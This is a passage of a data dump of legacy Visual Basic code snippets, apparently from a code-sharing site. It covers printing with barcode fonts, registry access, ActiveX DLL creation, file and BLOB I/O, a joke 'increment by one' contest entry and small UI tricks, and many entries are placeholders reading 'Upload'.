sending output to the printer? I reciently had a requirement to \n' print ascii data with embeded Barcode output on the same line. \n' Since the output was being generated from a database query, it made \n' sense to format the data using a proportional font (Courier New) then \n' change the font after printing the ascii data. Unfortunatly, the printer object \n' will only allow you to specify a font for the entire line being printed. \n' \n' Being an old fart programmer from way back, I remebered that Q-Basic had the \n' capability to stop the print head if there was a semicolon \";\" after \n' the statCommand1_Click() \n' \n' Set up to display the Common ement. I could not find a reference to this anywhere in the VB \n' documentation, but tried it anyway. Wala, it works just fine. \n' \n' Create a form and place a command button and add the Common Dialog control to \n' the form. Then Cut and paste this code into the project. \n' \n' You probably will not have the Code 39 font but any other valid font name \n' will work fine. \n' \nPrivate Sub Command1_Click() \n' \nOn Error Resume Next \nCommonDialog1.CancelError = True \nCommonDialog1.ShowPrinter \n' \n' check for errors or cancel selected \n' \nIf Err <> 0 Then \n MsgBox Error(Err) \n Exit Sub \nEnd If \n' \n' reset error checking \n' \nOn Error GoTo HaveError \n' \n' Set the printer font to proportional font. \n' \nPrinter.Font = \"Courier New\" \nPrinter.FontSize = 10 \n' \n' Print out the ASCII TEXT \n' NOTE THE SEMICOLON AT THE END!!!! \n' THIS TELLS THE PRINT METHOD NOT TO RETURN THE PRINTER \n' HEAD FOR THE NEXT LINE. \n' \nPrinter.Print \"This is the Ascii Text \"; \n' \n' CHANGE THE PRINTER FONT FOR UPC 39 bar code font \n' \nPrinter.Font = \"Code 39\" \nPrinter.FontSize = 12 \n' \n' print out the ascii text in barcode font \n' Notice the Leading and trailing \"*\" this \n' translates to the start/end barcode character \n' in the Code 39 font \n' \nPrinter.Print \"*This is Bar Code Text*\" \n' \n' close out the printer object \n' \nPrinter.EndDoc \nExit Sub \nHaveError: \nMsgBox Error(Err) \nResume Next \n \nEnd Sub \n \n\n"},{"WorldId":1,"id":29146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23874,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21636,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24858,"LineNumber":1,"line":"'================================\n'OK, all. Here's the first challenge,\n'informally put out (without his\n'knowledge or consent) by Intensify:\n'================================\n'--Scope of project:\n'INCREMENT BY ONE\n'\n'--Returns:\n'Value incremented by one\n'\n'--Challenge:\n'Try to top this one, I didn't try\n'TERRIBLY hard, b/c I do have a\n'real job...\n'\n'--Constraints:\n'Rule #1: \"Looping for the express\n'purpose of adding time to an\n'algorithm is expressly forbidden.\"\n'\n'--Seriously:\n'PLEASE keep these submissions in\n'the 'Jokes/Humor' category to make\n'sure that PSC does continue to be\n'taken seriously.\n'***********************************\n'RGCC (Rube Goldberg Coding Contest)\n'EULA:\n'The code herein is copyrighted.\n'\n'Feel free to use this code\n'in your applications. If you\n'do, send payment (first month's\n'lease) to me for each application\n'that you distribute.\n'\n'You will be sent a monthly bill\n'for each license of your application\n'that you distribute. If you do\n'not pay this bill, all licenses\n'to this software will be revoked\n'and Guido from the Software\n'Publisher's Association will be\n'paying a visit to your home.\n'In addition, the users' copies of\n'the software will cease to operate,\n'and their virus protection software\n'will be automatically deactivated.\n'\n'************************************\n'====================\n'Place this code on a form and\n'add a command button\n'====================\nOption Explicit\nPrivate Sub Command1_Click()\n Dim NumberThatIWantToIncrement As Integer\n NumberThatIWantToIncrement = _\n InputBox(\"Number to increment by 1: \", \"Increment a Number\")\n NumberThatIWantToIncrement = _\n IncrementAnIntegerByTheValueOfOne(NumberThatIWantToIncrement, _\n \"<<Your string goes here - ANY string will work!>>\")\n MsgBox NumberThatIWantToIncrement\nEnd Sub\n\n'====================\n'Place this code in a standard module\n'====================\n'********************\n'Requires a reference to Microsoft\n'ActiveX Data Objects 2.x\n'********************\nOption Explicit\nPublic Function IncrementAnIntegerByTheValueOfOne _\n(ByVal TheOriginalNumber As Integer, _\nByVal TheStringToPassInWillBeThis As String) As Integer\n Dim FirstCharacterOfTheStringPassedIn As String * 1\n Dim ASCIIValueOfTheFirstCharacterOfTheStringPassedIn As Integer\n Dim ValueOfOne As Integer\n FirstCharacterOfTheStringPassedIn = _\n GetTheFirstCharacterOfTheString(TheStringToPassInWillBeThis)\n ASCIIValueOfTheFirstCharacterOfTheStringPassedIn = _\n Asc(FirstCharacterOfTheStringPassedIn)\n ValueOfOne = _\n ASCIIValueOfTheFirstCharacterOfTheStringPassedIn - _\n (ASCIIValueOfTheFirstCharacterOfTheStringPassedIn - 1)\n IncrementAnIntegerByTheValueOfOne = TheOriginalNumber + ValueOfOne\nEnd Function\nPublic Function GetTheFirstCharacterOfTheString(ByVal TheOriginalString As String) As String\n Dim StringToReturn As String * 1\n Dim TheRecordsetToHoldTheString As ADODB.RecordSet\n Set TheRecordsetToHoldTheString = New ADODB.RecordSet\n '---Note here, the clever use of the 'With' keyword to cut down on verbosity...\n With TheRecordsetToHoldTheString\n .Fields.Append \"StringName\", adVarChar, 100\n .Open\n .AddNew \"StringName\", TheOriginalString\n End With\n StringToReturn = _\n Chr(Asc(Right(TheRecordsetToHoldTheString.Fields(0).Value, _\n Len(TheRecordsetToHoldTheString.Fields(0).Value) - 1)))\n GetTheFirstCharacterOfTheString = StringToReturn\nEnd Function\n"},{"WorldId":1,"id":14451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14486,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21573,"LineNumber":1,"line":"If App.PrevInstance = True Then\nMsgBox \"There Is Already Another Instance Of This Application Running, Please Close It And Try Again.\", vbExclamation, \"Error\"\nEnd\nEnd If"},{"WorldId":1,"id":28400,"LineNumber":1,"line":"'This was created by Dan Wold (Me)\n'This code is open source, feel free to use it in Anything...\n'You Dont even need to Include my name.. But it would be nice\n'My Email is e_man_dan@hotmail.com If you have any questions email me\n' To use this code Ill show ya below ;)\n' Sorry If I go into to much detail below, Just trying to make my point ;)\n'********************************************************************\n'Nothing special here, just reads your Windows ProductId depending on os, gave ya NT and Windows\n'So dont complain ;)\n'For WinNt\n'Call ReadWriteDeleteRegistry(\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductId\", \"\", 1)\n'For Windows\n'Call ReadWriteDeleteRegistry(\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ProductId\", \"\", 1)\n'*********************************************************************\n'********************************************************************\n'Write to the Registry\n'Call ReadWriteDeleteRegistry(\"HKEY_CURRENT_USER\\Software\\TestKey\", \"Stuff to write here\", 2)\n'********************************************************************\n'********************************************************************\n'Delete From Registry\n'Call ReadWriteDeleteRegistry(\"HKEY_CURRENT_USER\\Software\\TestKey\", \"\", 3)\n'********************************************************************\n'********************************************************************\n'Read = 1\n'Write = 2\n'Delete = 3\n'Reads Key\n'Call ReadWriteDeleteRegistry(\"HKEY_CURRENT_USER\\Software\\TestKey\", \"\", 1)\n'Writes Key\n'Call ReadWriteDeleteRegistry(\"HKEY_CURRENT_USER\\Software\\TestKey\", \"Stuff to write\", 2)\n'Deletes Key\n'Call ReadWriteDeleteRegistry(\"HKEY_CURRENT_USER\\Software\\TestKey\", \"\", 3)\n'********************************************************************\n'ReadWriteDelete Read = 1, Write = 2, Delete = 3\nPublic Sub ReadWriteDeleteRegistry(RegistryKey As String, RegistryInformation As String, ReadWriteDelete As Integer)\n'Error Handling In case something goes wrong\nOn Error GoTo ErrHandler\n'Sets the Variables to be used\nDim WSHShell, RegTemp\n'Starts the Wscript Object\nSet WSHShell = CreateObject(\"WScript.Shell\")\n \n 'Checks for Read Property (Read = 1)\n If ReadWriteDelete = 1 Then\n 'Reads the specified key\n RegTemp = WSHShell.RegRead(RegistryKey)\n MsgBox RegTemp\n End If\n \n 'Checks for Write Property (Write = 2)\n If ReadWriteDelete = 2 Then\n 'Writes to the registry\n WSHShell.RegWrite RegistryKey, RegistryInformation\n MsgBox Chr(34) & RegistryKey & \"\\\" & RegistryInformation & Chr(34) & \" has been written to the registry.\", vbInformation, \"Success\"\n End If\n \n 'Checks for Delete Property (Delete = 3)\n If ReadWriteDelete = 3 Then\n Dim MsgDeleteKey As String\n 'Makes sure you really do want to delete this key\n MsgDeleteKey = MsgBox(\"You are about to delete: \" & RegistryKey & \" From Your Registry, Do you wish to continue?\", vbYesNo Or vbQuestion, \"Warning!\")\n End If\n \n'Checks for which buttin the user pressed (Yes Or No)\nSelect Case MsgDeleteKey\n \n 'If Yes, Delete Key\n Case vbYes\n WSHShell.RegDelete (RegistryKey)\n MsgBox RegistryKey & \" Has Been Deleted!\", vbInformation, \"Success\"\n Err\n \n 'If No, Exit the Sub\n Case vbNo\n Exit Sub\nEnd Select\n'Error Handler Label\nErrHandler:\n'Checks for specific error(s)\n 'This one is for a non-existant Key\n If Err.Number = (-2147024894) Then\n MsgBox \"The Registry Key (\" & RegistryKey & \") doesn't exist.\", vbCritical, \"Error - Key Not Found\"\n End If\n \n 'This one is for an Invalid Key\n If Err.Number = (-2147024893) Then\n MsgBox \"The Key (\" & RegistryKey & \") is invalid.\", vbCritical, \"Error - Invalid Key\"\n End If\nEnd Sub\n"},{"WorldId":1,"id":28867,"LineNumber":1,"line":"<HTML>\n<HEAD><TITLE>Creating ActiveX DLL's</TITLE></HEAD>\n<BODY>\n<H1 ALIGN=CENTER>Creating a simple ActiveX DLL</H1>\n \n<CENTER>\nTo create a simple ActiveX DLL to use with your program follow these instructions\n</CENTER>\n<PRE>\nStep 1: Open Visual Basic, For the New Project, Select \"ActiveX Dll\"\nStep 2: Rename the Class Module \"Class1\" to \"Math\" You will be calling this class later.\nStep 3: Goto the menu and select, Project > Project Properties\nStep 4: Change the Project name to MathFuncDll\nStep 5: Change the Project Description to \"Simple Math Functions\" And click \"OK\"\nStep 6: In the Class Module (Math) Put the following code:\n</PRE>\n \n<PRE>\nOption Explicit\nPublic Function Add(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nAdd = FirstNumber + SecondNumber\nEnd Function\n\nPublic Function Subtract(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nSubtract = FirstNumber - SecondNumber\nEnd Function\n\nPublic Function Divide(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nDivide = FirstNumber / SecondNumber\nEnd Function\n\nPublic Function Multiply(ByVal FirstNumber As Long, ByVal SecondNumber As Long)\nMultiply = FirstNumber * SecondNumber\nEnd Function\n</PRE>\n \n<PRE>\nStep 7: Now goto the menu \"File > Make MathFuncDll.dll\" And Compile your ActiveX dll\n</PRE>\n \n<H1 ALIGN=CENTER>Congrats If it compiled correctly you have just created your first ActiveX Dll!</H1>\n<H1 ALIGN=CENTER>If it didnt compile make sure your code is exactly like mine..</H1>\n \n<CENTER>\nQuestion: How do I use this ActiveX DLL now?\nAnswer: Follow the rest of the steps ;)\n</CENTER>\n<PRE>\nStep 8: Open a New Project, This time select a New \"Standard EXE\"\nStep 9: Now goto menu \"Project > References\" And click \"Browse\"\nStep 10: Now Browse for your Newly Created DLL And select it. Click \"OK\"\nStep 11: Click \"OK\" Again to add the referance to your Project.\nStep 12: Now in the Form Put the following Code:\n</PRE>\n \n<PRE>\nOption Explicit\n'Creates The Object Reference\nDim objNew As MathFuncDll.Math\nPrivate Sub Form_Load()\n 'Sets objNew to the new Object referance\n Set objNew = New MathFuncDll.Math\n \n MsgBox objNew.Add(2, 4)\n MsgBox objNew.Subtract(5, 3)\n MsgBox objNew.Multiply(5, 2)\n MsgBox objNew.Divide(10, 5)\nEnd Sub\n</PRE>\n \nStep 13: Run your project.\n\n<PRE> OK, Ok, Now your Probably wondering \"HOW The Heck Did he referance that?\" Well now.. After you \nadded the DLL Into the Projects Refereances I called upon them by setting them to an Object. I.e:\n</PRE>\n \nDim objNew As MathFuncDll.Math\n<PRE>\nThat Refrenced objNew to the \"Math\" Class inside MathFuncDll.Dll\nAnd\n</PRE>\n \nSet objNew = New MathFuncDll.Math\n<PRE>\nCreated the Object Referance.\nNow I called upon that referance by using objNew\nI.e:\n</PRE>\n \nMsgBox objNew.Add(2, 4) \nMsgBox objNew.Subtract(5, 3) \nMsgBox objNew.Multiply(5, 2) \nMsgBox objNew.Divide(10, 5) \n\nobjNew.Subtract(FirstNumber,SecondNumber) AKA objNew.Subtract(5, 3)\n<H5 ALIGN=CENTER> This is My first tutorial, I know, I understand If you couldnt understand it... Err.. \nAnyways, Im not the best Tech Writer, Heck Im not a tech writer :P. But if you want an example feel free \nto email me at <A HREF=\"mailto:e_man_dan@hotmail.com\">E_MAN_DAN@HOTMAIL.COM</A><H5>\n</BODY>\n</HTML>"},{"WorldId":1,"id":14488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23061,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14820,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24298,"LineNumber":1,"line":"Public Function CopyFile(Source As String, Destiny As String, Optional BlockSize As Long = 32765) As Boolean\n '<EhHeader>\n On Error GoTo CopyFile_Err\n '</EhHeader>\n Dim Pos As Long\n Dim posicao As Long\n Dim pbyte As String\n Dim buffer As Long\n Dim Exist As String\n Dim LenSource As Long\n Dim FFSource As Integer, FFDestiny As Integer\n \n100 buffer = BlockSize\n102 posicao = 1\n104 Exist = \"\"\n106 Exist = Dir$(Destiny)\n108 If Exist <> \"\" Then Kill Destiny\n110 FFSource = FreeFile\n112 Open Source For Binary As #FFSource\n114 FFDestiny = FreeFile\n116 Open Destiny For Binary As #FFDestiny\n118 LenSource = LOF(FFSource)\n120 For Pos = 1 To LenSource Step buffer\n \n122 If Pos + buffer > LenSource Then buffer = (LenSource - Pos) + 1\n \n124 pbyte = Space$(buffer)\n126 Get #FFSource, Pos, pbyte\n128 Put #FFDestiny, posicao, pbyte\n130 posicao = posicao + buffer\n \n'132 RaiseEvent Progress(Round((((Pos / 100) * 100) / (LenSource / 100)), 2))\n'134 DoEvents\n \n Next\n136 Close #FFSource\n138 Close #FFDestiny\n'140 RaiseEvent CopyComplete\n '<EhFooter>\n Exit Function\nCopyFile_Err:\n MsgBox \"Um erro inesperado ocorreu!\" & vbCrLf & _\n \"Por favor anote ou copie (Pressionando a tecla 'Print-Screen' e depois CTRL+V no PAINT) os dados abaixo:\" & vbCrLf & _\n \"No Erro: \" & Err.Number & vbCrLf & _\n \"Local: Project1.Form1.CopyFile \" & vbCrLf & _\n \"Linha: \" & Erl & vbCrLf & vbCrLf & _\n \"Descri├º├úo: \" & Err.Description & vbCrLf & vbCrLf & _\n \"Opera├º├úo Cancelada!\", vbCritical, \"Erro!\"\n Screen.MousePointer = vbDefault\n Resume CopyFile_Sai\nCopyFile_Sai:\n Exit Function\n '</EhFooter>\nEnd Function\n"},{"WorldId":1,"id":15047,"LineNumber":1,"line":"Public Function CenterChild(Parent As Form, Child As Form)\nOn Local Error Resume Next\nIf Parent.WindowState = 1 Then\nExit Function\nElse\nChild.Left = (Parent.Left + (Parent.Width / 2)) - (Child.Width / 2)\nChild.Top = (Parent.Top + (Parent.Height / 2)) - (Child.Height / 2)\nEnd If\nEnd Function"},{"WorldId":1,"id":14615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22035,"LineNumber":1,"line":"'Make a command button\n'2 text boxes\nPrivate Sub Command1_Click()\n Text1 = GetIPHostName()\n Text2 = GetIPAddress()\nEnd Sub\n"},{"WorldId":1,"id":22220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14704,"LineNumber":1,"line":"Put the following code in a bas module.\nMODULE:\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nDeclare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Const GWL_WNDPROC = (-4)\nPublic Const WM_PASTE = &H302\nType POINTAPI\n x As Long\n y As Long\nEnd Type\nType Msg\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nDim mlPrevProc As Long\nPublic Sub Hook(robjTextbox As TextBox)\n mlPrevProc = SetWindowLong(robjTextbox.hwnd, GWL_WNDPROC, AddressOf TextProc)\nEnd Sub\nPublic Sub UnHook(robjTextbox As TextBox)\n SetWindowLong robjTextbox.hwnd, GWL_WNDPROC, PrevProc\nEnd Sub\nPublic Function TextProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n If uMsg = WM_PASTE Then\n uMsg = 0\n End If\n \n TextProc = CallWindowProc(mlPrevProc, hwnd, uMsg, wParam, lParam)\nEnd Function\nPut the following code in a form.\nOption Explicit\nPrivate Sub Form_Load()\n Hook Text1\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n UnHook Text1\nEnd Sub"},{"WorldId":1,"id":22130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14695,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24907,"LineNumber":1,"line":"'***************************************************************\n' Abstract: Writes a BLOB datafield to a file. If the Data Field is\n' big I would recommend that you set bUseStream = False.\n'\n' Input: strFullPath: Full path to the destination file\n' objField: Field object that contains the BLOB data.\n' bUseStream: (Optional) True = Use Stream methode, False = Use GetChunk\n' lngChunkSize: (Optional) Specifies the Chunk size to fetch with each GetChunk\n'\n' Output: True on success, False on failure\n'***************************************************************\nPublic Function BLOBToFile(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean\nOn Error Resume Next\nDim objStream As ADODB.Stream\nDim intFreeFile As Integer\nDim lngBytesLeft As Long\nDim lngReadBytes As Long\nDim byBuffer() As Byte\n If bUseStream Then\n Set objStream = New ADODB.Stream\n With objStream\n .Type = adTypeBinary\n .Open\n .Write objField.Value\n .SaveToFile strFullPath, adSaveCreateOverWrite\n End With\n DoEvents\n Else\n If Dir(strFullPath) <> \"\" Then\n Kill strFullPath\n End If\n lngBytesLeft = objField.ActualSize\n intFreeFile = FreeFile\n Open strFullPath For Binary As #intFreeFile\n Do Until lngBytesLeft <= 0\n lngReadBytes = lngBytesLeft\n If lngReadBytes > lngChunkSize Then\n lngReadBytes = lngChunkSize\n End If\n byBuffer = objField.GetChunk(lngReadBytes)\n Put #intFreeFile, , byBuffer\n lngBytesLeft = lngBytesLeft - lngReadBytes\n DoEvents\n Loop\n Close #intFreeFile\n End If\n If Err.Number <> 0 Or Err.LastDllError <> 0 Then\n BLOBToFile = False\n Else\n BLOBToFile = True\n End If\nEnd Function\n'***************************************************************\n' Abstract: Writes a binary file to a BLOB datafield. If the file\n' is big I would recommend that you set bUseStream = False.\n'\n' Input: strFullPath: Full path to the source file\n' objField: Field object that will contain the BLOB data.\n' bUseStream: (Optional) True = Use Stream methode, False = Use GetChunk\n' lngChunkSize: (Optional) Specifies the Chunk size to fetch with each GetChunk\n'\n' Output: True on success, False on failure\n'***************************************************************\nPublic Function FileToBLOB(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean\nOn Error Resume Next\nDim objStream As ADODB.Stream\nDim intFreeFile As Integer\nDim lngBytesLeft As Long\nDim lngReadBytes As Long\nDim byBuffer() As Byte\nDim varChunk As Variant\n If bUseStream Then\n Set objStream = New ADODB.Stream\n With objStream\n .Type = adTypeBinary\n .Open\n .LoadFromFile strFullPath\n objField.Value = .Read(adReadAll)\n End With\n Else\n With objField\n '<<--If the field does not support Long Binary data'-->>\n '<<--then we cannot load the data into the field.-->>\n If (.Attributes And adFldLong) <> 0 Then\n intFreeFile = FreeFile\n Open strFullPath For Binary Access Read As #intFreeFile\n lngBytesLeft = LOF(intFreeFile)\n Do Until lngBytesLeft <= 0\n If lngBytesLeft > lngChunkSize Then\n lngReadBytes = lngChunkSize\n Else\n lngReadBytes = lngBytesLeft\n End If\n ReDim byBuffer(lngReadBytes)\n Get #intFreeFile, , byBuffer()\n objField.AppendChunk byBuffer()\n lngBytesLeft = lngBytesLeft - lngReadBytes\n DoEvents\n Loop\n Close #intFreeFile\n Else\n Err.Raise -10000, \"FileToBLOB\", \"The Database Field does not support Long Binary Data.\"\n End If\n End With\n End If\n \n If Err.Number <> 0 Or Err.LastDllError <> 0 Then\n FileToBLOB = False\n Else\n FileToBLOB = True\n End If\nEnd Function"},{"WorldId":1,"id":14716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21479,"LineNumber":1,"line":"\n(General) (Declarations) \nDeclare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As _\n Long, ByVal lParam As Long) As Long\nPublic Const WM_SYSCOMMAND = &H112&\nPublic Const SC_SCREENSAVE = &HF140& \nTo actually activate the screensaver only takes one line of code. You can put it anywhere you want, but for my example, I'm placing it in the Click event of a command button.\nCommand1 Click \nPrivate Sub Command1_Click()\n Call SendMessage(Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, _\n 0&)\nEnd Sub \n"},{"WorldId":1,"id":28206,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_Click()\n'Create a shadow to the right and below of Text1 (TextBox)\nShadow Me, Text1\nEnd Sub\nPrivate Sub Shadow(fIn As Form, ctrlIn As Control)\nConst SHADOW_COLOR = &H40C0& 'Shadow Color\nConst SHADOW_WIDTH = 3 'Shadow Border Width\nDim iOldWidth As Integer\nDim iOldScale As Integer\n'Save the current DrawWidth and ScaleMode\niOldWidth = fIn.DrawWidth\niOldScale = fIn.ScaleMode\nfIn.ScaleMode = 3\nfIn.DrawWidth = 1\n'Draws the shadow around the control by drawing a gray\n'box behind the control that's offset right and down.\nfIn.Line (ctrlIn.Left + SHADOW_WIDTH, ctrlIn.Top + _\n SHADOW_WIDTH)-Step(ctrlIn.Width - 1, _\n ctrlIn.Height - 1), SHADOW_COLOR, BF\n'Restore Old Setting\nfIn.DrawWidth = iOldWidth\nfIn.ScaleMode = iOldScale\nEnd Sub\n"},{"WorldId":1,"id":32708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32371,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23283,"LineNumber":1,"line":"Deleting Sections from .INI Files\nIn this article, I explain how you can delete a specific entry from an .INI file.\nAn initialization (.INI) file is an ASCII text file that follows a specific format. The file is divided into sections where the name of the section is enclosed in brackets. Directly below the section headings are one or more entries. Each entry (or key name) is the name you want to set a value for. This is followed by an equal sign. Next, the value to be assigned to the key name is specified.\n To modify an .INI file, you use the Windows WritePrivateProfileString() and WriteProfileString() functions. The WriteProfileString() function is used to modify the Windows WIN.INI initialization file, while all other .INI files are modified by calling the WritePrivateProfileString() function.\n The following is an example of an .INI file's contents:\n[progsetup]\n Date=10/10/95\n Datafile=c:\\temp.dat\nIn this example, the section name is \"progsetup\", the key names are Date and Datafile, and the values to be given to the key names are 10/10/95 and c:\\temp.dat.\n To delete a specific entry from an initialization file, call the WritePrivateProfileString() function with the statement: \nx = WritePrivateProfileString(lpAppName, 0&, 0&, FileName)\nspecifying the following parameters:\nlpAppName \\The name of the section you want to remove from the INI file\n lpKeyName \\The entry you want to delete. This must be set to a NULL string\n \\to delete the entire section.\n lpString \\The string to be written to the entry. When set to an empty string,\n \\this causes the lpKeyName entry to be deleted.\n lpFileName \\The name of the INI file to modify.\nIn our example above, we would set lpAppName to \"progsetup\", lpFileName to \"C:\\DEMO.INI\", and both lpKeyName and lpString to 0& (zero). After you call this function, the entire \"progsetup\" section of the DEMO.INI file will be deleted.\nThe lpKeyName and lpString variables are of type Any. If you use the type String, the function may or may not work properly, so be sure to specify these as type Any when deleting entries from initialization files. The same rule applies when using the WriteProfileString() function.\nExample:\nThis is how you can aply this:\n1.Using the Windows Notepad application, create a new text file called DEMO.INI. Save the file to the root directory on drive C. Add the following lines to this text file:\n [progsetup]\n Date=10/10/95\n Datafile=c:\\temp.dat\n [colors]\n Background=red\n Foreground=white\n2.Start a new project in Visual Basic. Form1 is created by default.\n3.Create a module, and type the following Declare statement (note that this should be typed as a single line of text):\n Public Declare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\n4.Add the following code to Form1_Load():\n Sub Form_Load()\n crlf$ = Chr(13) & Chr(10)\n Text1.Text = \"\"\n Open \"c:\\demo.ini\" For Input As #1\n While Not EOF(1)\n Line Input #1, file_data$\n Text1.Text = Text1.Text & file_data$ & crlf$\n Wend\n Close #1\n \n End Sub\n5.Add a text box control to Form1. Set its MultiLine property to True and its ScrollBars property to 3-Both. Adjust the size of the text box so that the contents of the C:\\DEMO.INI file can be displayed in it.\n6.Add a command button control to Form1. Command1 is created by default. Set its Caption property to \"Modify DEMO.INI\".\n7.Add the following code to the Click event of Command1:\n Sub Command1_Click()\n FileName = \"c:\\demo.ini\"\n lpAppName = \"progsetup\"\n x = WritePrivateProfileString(lpAppName, 0&, 0&, FileName)\n End Sub\nWhen you execute this sample program, the current contents of the file C::\\DEMO.INI are displayed in the text box. Click once on the \"Modify DEMO.INI\" command button. The program has now deleted the entire \"progsetup\" section from the DEMO.INI file. You can verify that the file's contents were changed by running the demonstration program a second time.\nCome and see my site for more of my stuff at <a href=\"http://www.atomsoftware.cjb.net\">www.AtomSoftware.Cjb.Net</a>."},{"WorldId":1,"id":29300,"LineNumber":1,"line":"' Add a line named Line1 , verticlly up and down\n' through the center of your form\n' Now add another line named Line2 ,\n' horozontally accross the whole form\n' if you dont understand look at the screenshot\n' then just copy and paste this code\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Line1.X1 = X\n Line1.X2 = X\n Line2.Y1 = Y\n Line2.Y2 = Y\nEnd 